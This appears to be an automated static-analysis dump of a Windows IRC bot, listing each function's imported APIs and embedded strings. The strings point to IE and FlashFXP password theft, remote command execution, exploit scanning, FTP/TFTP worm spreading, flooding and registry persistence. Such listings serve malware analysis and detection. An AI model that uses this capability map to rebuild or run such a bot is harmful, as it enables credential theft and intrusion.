sub_outside():
	MSVCRT.memcpy
	MSVCRT.free
	MSVCRT.malloc
	KERNEL32.GetCurrentProcessId
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	MSVCRT._strcmpi
	KERNEL32.OpenProcess
	KERNEL32.ReadProcessMemory
	KERNEL32.Sleep
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	MSVCRT.clock
	KERNEL32.SearchPathA
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	MSVCRT.memset
	KERNEL32.CreateProcessA
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.ReadFile
	KERNEL32.DeleteFileA
	MSVCRT.fopen
	MSVCRT.fclose
	WS2_32.recv
	WS2_32.htonl
	MSVCRT.fwrite
	MSVCRT.ftell
	MSVCRT.strlen
	MSVCRT._mbscpy
	WS2_32.getsockname
	WS2_32.getnameinfo
	MSVCRT._itoa
	MSVCRT.fseek
	WS2_32.inet_addr
	MSVCRT.fread
	MSVCRT._strnicmp
	KERNEL32.CopyFileA
	NTDLL.RtlGetLastWin32Error
	MSVCRT.strstr
	KERNEL32.ExitProcess
	WS2_32.WSASetLastError
	MSVCRT.atoi
	WS2_32.htons
	WS2_32.gethostbyname
	WS2_32.inet_ntoa
	WS2_32.gethostbyaddr
	WS2_32.WSAGetLastError
	WS2_32.getservbyport
	MSVCRT._mbscat
	WS2_32.socket
	WS2_32.setsockopt
	MSVCRT.sprintf
	WS2_32.sendto
	MSVCRT.strncmp
	KERNEL32.GlobalMemoryStatus
	ADVAPI32.GetUserNameA
	KERNEL32.GetComputerNameA
	KERNEL32.GetVersionExA
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
	MSVCRT._snprintf
	WS2_32.getaddrinfo
	WS2_32.freeaddrinfo
	WININET.InternetGetConnectedStateEx
	KERNEL32.GetDriveTypeA
	KERNEL32.GetDiskFreeSpaceExA
	USER32.wsprintfA
	KERNEL32.IsBadCodePtr
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	MSVCRT.printf
	MSVCRT.sscanf
	WS2_32.bind
	WS2_32.closesocket
	WS2_32.select
	WS2_32.recvfrom
	WS2_32.shutdown
	MSVCRT.strcmp
	USER32.GetWindowTextA
	WS2_32.gethostname
	WS2_32.WSAIoctl
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	WS2_32.WSAStartup

sub_40447B(0011):
	WS2_32.ioctlsocket

sub_401146(00cc):
	KERNEL32.SetFileAttributesA
	KERNEL32.DeleteFileA
	MSVCRT.strlen

sub_414600(00db):
	MSVCRT.atoi
	MSVCRT.malloc
	MSVCRT.strncpy
	MSVCRT.memcpy

sub_40D53F(0509):
	MSVCRT.sprintf
	MSVCRT._mbscat
	MSVCRT._vsnprintf
	MSVCRT.strlen

	"NOTICE %s :"
	"PRIVMSG %s :"
	"message "
	"\r\n"

sub_4043E9(05b8):
	MSVCRT._mbscpy

	"80"

sub_41673F(09bb):
	MSVCRT.fopen
	MSVCRT.fseek
	MSVCRT.ftell
	MSVCRT.fclose

	"rb"

sub_40A1A7(0b5b):
	MSVCRT.malloc
	MSVCRT.memcpy
	MSVCRT._mbscpy
	MSVCRT.atoi
	KERNEL32.CreateThread
	MSVCRT.free
	KERNEL32.CloseHandle

sub_41665C(0cdf):
	MSVCRT.malloc
	MSVCRT.atoi
	MSVCRT.memcpy

sub_409C7A(0dba):
	NTDLL.RtlLeaveCriticalSection

sub_409C6C(0dba):
	NTDLL.RtlEnterCriticalSection

sub_4053B1(0dba):
	WS2_32.closesocket

sub_40D871(0ed7):
	MSVCRT._strcmpi
	MSVCRT.strlen
	MSVCRT._mbscpy
	MSVCRT.memset
	MSVCRT.atoi
	MSVCRT.sprintf
	MSVCRT.strcmp
	KERNEL32.lstrcmp
	KERNEL32.GetVersionExA
	MSVCRT.strncpy
	MSVCRT.strstr
	MSVCRT._snprintf

	"PING"
	"PONG	%s"
	"PONG"
	"MODE"
	"PRIVMSG"
	"SEND"
	"#kok1"
	"%u.%u.%u.%u"
	"eggdrop v1.6.16"
	"433"
	"UNK"
	"B"
	"A"
	"G"
	"%c%s%c%c%u%c%u%s%c%c%c"
	"������"
	"NICK	%s"
	"ERROR"
	"JOIN"
	"MODE %s +smntu"
	"001"
	"MODE	%s +xi"
	"#kok1"
	"JOIN	%s %s"
	"USERHOST %s"
	"USERHOST %s"
	"451"
	"302"
	"@"
	"NICK"
	"332"
	"]["
	"link!link@link PRIVMSG %s :%s"
	"]["
	"PRIVMSG"
	"NOTICE"
	"*"

sub_40D4AB(1035):
	MSVCRT.sprintf
	MSVCRT._vsnprintf
	MSVCRT._mbscat
	MSVCRT.strlen

	"PRIVMSG %s :"
	"\r\n"

sub_40260D(1182):
	MSVCRT.malloc
	MSVCRT.strncpy
	MSVCRT.memcpy

sub_407ACA(11fc):
	MSVCRT.strlen
	MSVCRT._strnicmp

sub_409226(1371):
	KERNEL32.QueryPerformanceCounter
	KERNEL32.QueryPerformanceFrequency
	MSVCRT.ceil
	MSVCRT._ftol
	KERNEL32.GetTickCount

sub_40432E(13af):
	WS2_32.socket

sub_415AF0(1472):
	MSVCRT.malloc

	"Internet explorer password stealer"
	"��oA"

sub_406D90(1503):
	MSVCRT._mbscpy
	MSVCRT.strlen
	MSVCRT.malloc
	KERNEL32.DeleteFileA
	KERNEL32.CreateFileA
	USER32.wsprintfA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle

	".bat"
	"@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
	"open"

sub_4088FC(152c):
	MSVCRT._mbscpy
	MSVCRT._snprintf
	MSVCRT.strlen
	MSVCRT.clock
	MSVCRT._ftol

	"80"
	"GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"

sub_406B81(1758):
	KERNEL32.GetWindowsDirectoryA
	MSVCRT._mbscat
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime

	"\\explorer.exe"

sub_4018AF(191b):
	KERNEL32.Sleep
	MSVCRT.clock
	MSVCRT.sprintf

sub_40E9C9(19ab):
	MSVCRT.strlen

sub_4041B7(1b73):
	MSVCRT.strncmp

	"127."
	"172."
	"192.168."

sub_403FE5(1c3c):
	MSVCRT.malloc

sub_4024F3(213d):
	MSVCRT.atoi
	MSVCRT.malloc
	MSVCRT.strncpy
	MSVCRT.memcpy

sub_4064BF(2141):
	MSVCRT.malloc
	MSVCRT.memcpy

sub_40538D(215d):
	WS2_32.shutdown
	KERNEL32.Sleep

sub_4087C4(256f):
	MSVCRT.malloc

sub_4092A4(29ef):
	KERNEL32.QueryPerformanceCounter
	KERNEL32.QueryPerformanceFrequency
	MSVCRT.ceil
	MSVCRT._ftol
	KERNEL32.GetTickCount

sub_4102AE(2dd6):
	ADVAPI32.CryptAcquireContextA
	ADVAPI32.CryptGenRandom
	ADVAPI32.CryptReleaseContext

sub_408887(31eb):
	"������"

sub_409C36(3457):
	MSVCRT.memset
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.InitializeCriticalSection

sub_412F07(34bf):
	MSVCRT.malloc
	MSVCRT.atoi
	MSVCRT._itoa

sub_407F3D(3635):
	MSVCRT.sprintf

	"%s.%s.%s.%s"

sub_407E0C(37d0):
	MSVCRT._itoa
	MSVCRT.atoi
	MSVCRT._mbscpy

sub_40A8AD(3823):
	MSVCRT.strlen
	MSVCRT.tolower

	"abcdef"

sub_404CBB(3da8):
	MSVCRT.free

sub_4044F7(3f01):
	WS2_32.getpeername
	WS2_32.getnameinfo

sub_401D39(4162):
	MSVCRT.strlen
	KERNEL32.WriteFile

sub_406D47(470b):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.SetCurrentDirectoryA

sub_40422A(484d):
	MSVCRT.atoi

sub_416EAF(4878):
	MSVCRT._CxxThrowException

sub_40F040(4949):
	MSVCRT.memmove
	MSVCRT._lrotr

sub_406C51(4aab):
	ADVAPI32.RegCreateKeyExA
	KERNEL32.GetSystemDirectoryA
	MSVCRT._mbscat
	KERNEL32.lstrlen
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

	"Software\\Microsoft\\Windows\\CurrentVersi"...

sub_404E1C(510f):
	WS2_32.select

sub_40D043(5675):
	MSVCRT._mbscpy
	KERNEL32.GetVersionExA
	MSVCRT.sprintf

	"PASS	%s"
	"USER %s %s %s :%s"
	"NICK	%s"
	"UNK"
	"B"
	"A"
	"G"
	"%c%s%c%c%u%c%u%s%c%c%c"
	"#kok1"
	"#kok1"
	"������"
	"NICK	%s"

sub_411BBC(5919):
	MSVCRT.memcpy
	MSVCRT.free
	MSVCRT._itoa

	"127.0.0.1"

sub_410422(5969):
	MSVCRT.clock

sub_4017AA(5a0a):
	MSVCRT.strlen
	MSVCRT.malloc
	MSVCRT.strncpy

	"Listing"
	"Killing"

sub_416711(5c60):
	MSVCRT.fopen
	MSVCRT.fclose

	"rb"

sub_413FE7(5e87):
	MSVCRT.malloc
	MSVCRT.memcpy

	"Attempting to	exploit	IP's in list."

sub_4125DF(5f39):
	MSVCRT.memcpy

sub_401000(60e1):
	MSVCRT._mbscpy
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegEnumValueA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

sub_4053DC(60ec):
	WS2_32.WSASetLastError
	WS2_32.recv

sub_407148(629b):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	MSVCRT._mbscat
	MSVCRT._strcmpi
	WS2_32.WSACleanup
	KERNEL32.ExitProcess

	"packed.exe"
	"QUIT :%s uninstalled."
	"packed.exe"
	"Windows DLL Loader"
	"packed.exe"
	"QUIT :%s uninstalled."

sub_409763(6316):
	KERNEL32.CloseHandle
	MSVCRT.memset

sub_404FD0(640e):
	MSVCRT.free

sub_404D10(64b3):
	MSVCRT.malloc

sub_40EF59(6597):
	MSVCRT.memcpy
	MSVCRT._lrotl

sub_4091E2(65f1):
	MSVCRT.malloc

	"Driveinfo thread"

sub_404552(67ed):
	WS2_32.getsockname
	WS2_32.htons
	MSVCRT._itoa

sub_4097A7(69ab):
	MSVCRT.atoi
	MSVCRT._snprintf

	"*%s*"

sub_40938F(6a12):
	MSVCRT.malloc

sub_41294E(6af9):
	MSVCRT.memcpy

sub_41308F(6de7):
	WS2_32.recv
	MSVCRT.strstr
	MSVCRT._strnicmp
	MSVCRT.sscanf

	"OPTIONS / HTTP/1.0\r\n\r\n"
	"Server:"
	"Microsoft-IIS"
	"Microsoft-IIS/%u.%u"
	"Apache"
	"Apache/%u"
	"(Unix)"
	"(Win32)"

sub_414EB0(6e80):
	MSVCRT.malloc

	"FlashFXP password stealer"

sub_4147E5(6ee3):
	MSVCRT.sscanf

	"yA36zA48dEhfrvghGRg57h5UlDv3"
	"%02X"
	"%02X"
	"%02X"
	"yA36zA48dEhfrvghGRg57h5UlDv3"

sub_404FE7(7226):
	MSVCRT.memset
	WS2_32.getaddrinfo
	WS2_32.socket
	WS2_32.connect
	WS2_32.WSAGetLastError
	WS2_32.freeaddrinfo

sub_41417D(726a):
	MSVCRT.malloc

	"Listing exploit statistics"

sub_4142BF(74ca):
	MSVCRT.atoi
	MSVCRT.malloc

	"80"

sub_4167A0(7643):
	KERNEL32.DeleteFileA

sub_412919(767f):
	WS2_32.recv

sub_404612(76e6):
	WS2_32.getaddrinfo
	WS2_32.getnameinfo
	MSVCRT._mbscpy
	WS2_32.freeaddrinfo

sub_404193(7992):
	MSVCRT._itoa

sub_409318(7bc1):
	KERNEL32.QueryPerformanceCounter
	KERNEL32.QueryPerformanceFrequency
	MSVCRT.ceil
	MSVCRT._ftol
	KERNEL32.GetTickCount

sub_40435B(7c06):
	"::1"

sub_40D734(7c17):
	USER32.FindWindowA

	"mIRC"

sub_404D9B(81c4):
	MSVCRT.memcpy

sub_401D6E(859f):
	MSVCRT.malloc
	MSVCRT._mbscat

	"open"
	"Remote cmd thread"
	"\r\n"
	"Error	while executing	command."

sub_401856(8604):
	KERNEL32.CloseHandle

sub_4050EA(87ab):
	MSVCRT.memset
	WS2_32.getaddrinfo
	WS2_32.socket
	WS2_32.connect
	WS2_32.WSAGetLastError
	WS2_32.select
	WS2_32.freeaddrinfo

sub_40F26E(88cb):
	MSVCRT.memset

sub_40A50E(88d5):
	MSVCRT.malloc
	MSVCRT._mbscpy
	MSVCRT.memcpy

sub_40CF2F(913e):
	MSVCRT._mbscpy

	"6667"

sub_405F67(9314):
	MSVCRT.memset
	MSVCRT.memcpy

sub_407928(94bd):
	MSVCRT.memset
	MSVCRT._mbscpy

sub_405E45(94e4):
	MSVCRT.malloc
	MSVCRT.atoi

	"LG	flooder"

sub_408E4A(95bf):
	MSVCRT.malloc

sub_40CEB0(975e):
	MSVCRT.malloc

	"Executing command(s):	%s"

sub_408808(983f):
	MSVCRT._mbscpy
	MSVCRT.clock

	"80"

sub_415DFD(9871):
	MSVCRT.malloc

	"Listing interesting processes"

sub_4124A0(987b):
	MSVCRT.memcpy
	WS2_32.inet_addr
	MSVCRT.atoi
	WS2_32.htons

sub_404871(9b8d):
	MSVCRT.memcpy
	MSVCRT.free

sub_403260(9c33):
	MSVCRT.malloc
	MSVCRT._mbscat

	".exe"

sub_404F24(9d8c):
	WS2_32.__WSAFDIsSet

sub_412BC9(9dde):
	WS2_32.select
	WS2_32.shutdown
	KERNEL32.Sleep

sub_40D7E5(9f9d):
	MSVCRT.strlen

sub_408342(a362):
	KERNEL32.GetLocaleInfoA
	MSVCRT._strcmpi

sub_40D420(a5e3):
	MSVCRT.sprintf
	MSVCRT._vsnprintf
	MSVCRT._mbscat
	MSVCRT.strlen

	"NOTICE %s :"
	"\r\n"

sub_412720(a6d1):
	MSVCRT._mbscpy
	MSVCRT.memcpy

	".exe"

sub_4048EF(a995):
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.select

sub_4127D0(aca4):
	MSVCRT.strcmp
	MSVCRT.fopen
	MSVCRT.fread
	MSVCRT.fclose

	"rb"
	"packed.exe"

sub_40F159(adbe):
	MSVCRT.memcpy

sub_40449C(aeb4):
	WS2_32.getsockname
	WS2_32.getnameinfo

sub_406643(b583):
	MSVCRT.atoi
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_413AB0(b5b6):
	MSVCRT._mbscpy
	MSVCRT._strcmpi
	MSVCRT.atoi
	MSVCRT.malloc
	MSVCRT.memcpy

sub_40CA29(b7e9):
	MSVCRT.strstr
	MSVCRT.sscanf
	MSVCRT.atoi
	MSVCRT._strcmpi

	")"
	"&&"
	"%32s %16s %32s"
	"$uptime"
	"$version"
	"$free"
	"$latency"
	"$firewall"
	"$ipv6"
	"$uptime"
	"$version"
	"$free"
	"$latency"
	"$firewall"
	"$ipv6"
	"=="
	"!="
	">"
	">="
	"<="
	"&&"

sub_4148CE(b829):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
	MSVCRT._mbscpy
	KERNEL32.GetEnvironmentVariableA
	MSVCRT._mbscat
	MSVCRT.fopen
	KERNEL32.GetDriveTypeA
	MSVCRT.sprintf

	"SOFTWARE\\Classes\\Applications\\FlashFXP."...
	"sites.dat"
	"ProgramFiles"
	"\\FlashFXP\\sites.dat"
	"rb"
	"%sFlashFXP\\sites.dat"
	"rb"

sub_40546E(b8fe):
	WS2_32.select
	WS2_32.__WSAFDIsSet

sub_40806A(b9eb):
	MSVCRT._mbscpy
	MSVCRT.sprintf

	"%s.%s.%s.%s"

sub_40D6CB(ba86):
	MSVCRT._vsnprintf
	MSVCRT._mbscat
	MSVCRT.strlen

	"\r\n"

sub_406CF8(ba88):
	MSVCRT.strlen

sub_4078A0(bc64):
	MSVCRT.strlen

sub_409BF1(bc92):
	MSVCRT.malloc
	MSVCRT.free

sub_410318(bce2):
	MSVCRT.clock

sub_4046BC(bcec):
	MSVCRT.malloc
	MSVCRT.memset
	WS2_32.getaddrinfo
	MSVCRT.free
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.bind
	WS2_32.listen
	WS2_32.freeaddrinfo

sub_411D68(bd90):
	MSVCRT.malloc

	"FTP wormride thread"

sub_40EC96(be71):
	MSVCRT.strlen

sub_4123F6(bf6b):
	MSVCRT.malloc

	"TFTP wormride	thread"

sub_41043F(bfa2):
	MSVCRT.clock

sub_410461(bfa2):
	MSVCRT.clock

sub_410483(bfa2):
	MSVCRT.clock

sub_40E618(c143):
	MSVCRT._strcmpi
	MSVCRT.strcmp

	"302"
	"PRIVMSG"
	"NOTICE"

sub_406041(c2bf):
	MSVCRT.malloc
	MSVCRT.realloc
	MSVCRT.free
	MSVCRT.memset
	MSVCRT._mbscpy
	KERNEL32.OpenProcess
	KERNEL32.CloseHandle
	MSVCRT.strncpy
	MSVCRT.strlen

	"system"

sub_40821B(c393):
	KERNEL32.Sleep

sub_409CB1(c41b):
	MSVCRT.printf
	MSVCRT.memset
	NTDLL.RtlGetLastWin32Error

	"Could	not get	a valid	ICMP handle\n"

sub_409479(c505):
	MSVCRT.malloc
	MSVCRT._beginthreadex
	KERNEL32.CloseHandle
	MSVCRT.free

sub_406A23(c753):
	KERNEL32.GetSystemDirectoryA
	MSVCRT._mbscat
	MSVCRT._mbscpy
	KERNEL32.DeleteFileA
	MSVCRT.fopen
	MSVCRT.fwrite
	MSVCRT.fclose

sub_406E8E(c805):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	MSVCRT._mbscat
	MSVCRT._strcmpi
	KERNEL32.DeleteFileA
	KERNEL32.CopyFileA
	KERNEL32.SetFileAttributesA
	MSVCRT.memset
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	MSVCRT.exit

	"packed.exe"
	"Windows DLL Loader"

sub_406509(ceef):
	MSVCRT.atoi
	MSVCRT.malloc
	KERNEL32.OpenProcess
	MSVCRT.free
	KERNEL32.ReadProcessMemory
	KERNEL32.CloseHandle

sub_4098F3(d7a4):
	MSVCRT.atoi
	MSVCRT.memset
	KERNEL32.TerminateThread
	KERNEL32.CloseHandle
	MSVCRT._snprintf

	"*%s*"

sub_405FA3(d81a):
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"psapi.dll"
	"EnumProcessModules"
	"GetModuleFileNameExA"
	"GetModuleInformation"

sub_404457(d81b):
	WS2_32.ioctlsocket

sub_4077DD(d893):
	MSVCRT._itoa
	MSVCRT.malloc
	MSVCRT._mbscpy
	MSVCRT.memcpy

sub_4045B2(db0b):
	WS2_32.getpeername
	WS2_32.htons
	MSVCRT._itoa

sub_408E8E(e076):
	KERNEL32.GetDriveTypeA
	KERNEL32.GetDiskFreeSpaceExA
	MSVCRT.memset

sub_402698(e10f):
	MSVCRT._snprintf
	MSVCRT.strlen
	MSVCRT.strstr
	MSVCRT.sscanf
	MSVCRT.fopen
	MSVCRT.fwrite
	MSVCRT.fclose
	KERNEL32.DeleteFileA

	"GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
	"\r\n\r\n"
	"Content-Length: %u\r\n"

sub_41102F(e43a):
	MSVCRT.fopen
	MSVCRT.fread
	MSVCRT.fclose

	"rb"
	"packed.exe"

sub_406722(e784):
	MSVCRT._strnicmp
	MSVCRT.strlen
	MSVCRT._mbscpy
	MSVCRT.memcpy
	ADVAPI32.RegOpenKeyExA
	MSVCRT.malloc
	ADVAPI32.RegQueryValueExA
	MSVCRT.sprintf
	MSVCRT._mbscat
	MSVCRT.free
	ADVAPI32.RegCloseKey

	"HKCR"
	"HKCU"
	"HKLM"
	"HKUS"
	"%s"
	"%08X"
	"%02X"
	"%s"
	"%s"

sub_406AE7(f004):
	KERNEL32.GetSystemDirectoryA
	MSVCRT._mbscat
	MSVCRT._mbscpy
	MSVCRT.fopen
	MSVCRT.fclose

	"rb"

sub_40A9CF(f341):
	MSVCRT._mbscpy
	MSVCRT.memcpy
	USER32.GetForegroundWindow
	USER32.GetWindowTextA
	MSVCRT.strlen
	MSVCRT.strcmp
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegCloseKey
	ADVAPI32.RegQueryValueExA
	MSVCRT.malloc
	MSVCRT.free
	MSVCRT.clock
	KERNEL32.Sleep
	MSVCRT.atoi
	MSVCRT._strcmpi
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.ExitProcess
	WS2_32.getaddrinfo
	WS2_32.getnameinfo
	WS2_32.freeaddrinfo
	MSVCRT.memcmp
	MSVCRT.memset
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.closesocket
	MSVCRT._strnicmp

	"NICK	%s"
	"NICK	%s"
	"��������ܹ��ϗ؆�ܥ����"
	"%s"
	"This build is	fully functional"
	"This build is	broken and will	not funct"...
	"packed.exe"
	"packed.exe"
	"packed.exe"
	"It took	me %ums."
	"packed.exe"
	"#kok1"
	"#kok1"
	"JOIN	%s %s"
	"JOIN	%s %s"
	"PART	%s"
	"on"
	"off"
	"on"
	"MODE	%s"
	"QUIT :exitting"
	"open"
	"QUIT :restarting"
	"QUIT :changing server"
	"2002"
	"9252"
	"%08X"
	"id"
	"username"

sub_403BD3(f523):
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

	"kernel32.dll"
	"InitializeCriticalSectionAndSpinCount"
	"netapi32.dll"
	"NetUseAdd"
	"NetUseDel"
	"NetUserEnum"
	"NetShareEnum"
	"NetRemoteTOD"
	"NetApiBufferFree"
	"NetScheduleJobAdd"
	"NetAddAlternateComputerName"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"ws2_32.dll"
	"getaddrinfo"
	"getnameinfo"
	"freeaddrinfo"
	"pstorec.dll"
	"PStoreCreateInstance"
	"wininet.dll"
	"InternetGetConnectedStateExA"

sub_4095A4(f614):
	MSVCRT.free
	MSVCRT.vsprintf
	MSVCRT._beginthreadex
	MSVCRT.memset

sub_4103F5(f653):
	MSVCRT.clock

sub_40D74D(f68e):
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	MSVCRT.sprintf
	USER32.SendMessageA
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle

	"mIRC"

sub_412A3A(f743):
	MSVCRT.memcpy
	MSVCRT.memset
	WS2_32.shutdown
	KERNEL32.Sleep

sub_40A2D2(f744):
	USER32.wsprintfA
	MSVCRT.strlen
	MSVCRT.strcmp
	KERNEL32.Sleep

	"43"
	"%s\r\n"

sub_4129CA(f764):
	MSVCRT._mbscpy

	"unknown"
	"#kok1"

sub_40D366(f7df):
	KERNEL32.Sleep

sub_411A09(f84c):
	MSVCRT.strcmp
	MSVCRT.sprintf
	MSVCRT.strlen

	"220"
	"USER	1\r\n"
	"331"
	"PASS	1\r\n"
	"230"

sub_4053BF(f924):
	WS2_32.send

sub_40636E(ffbf):
	MSVCRT.free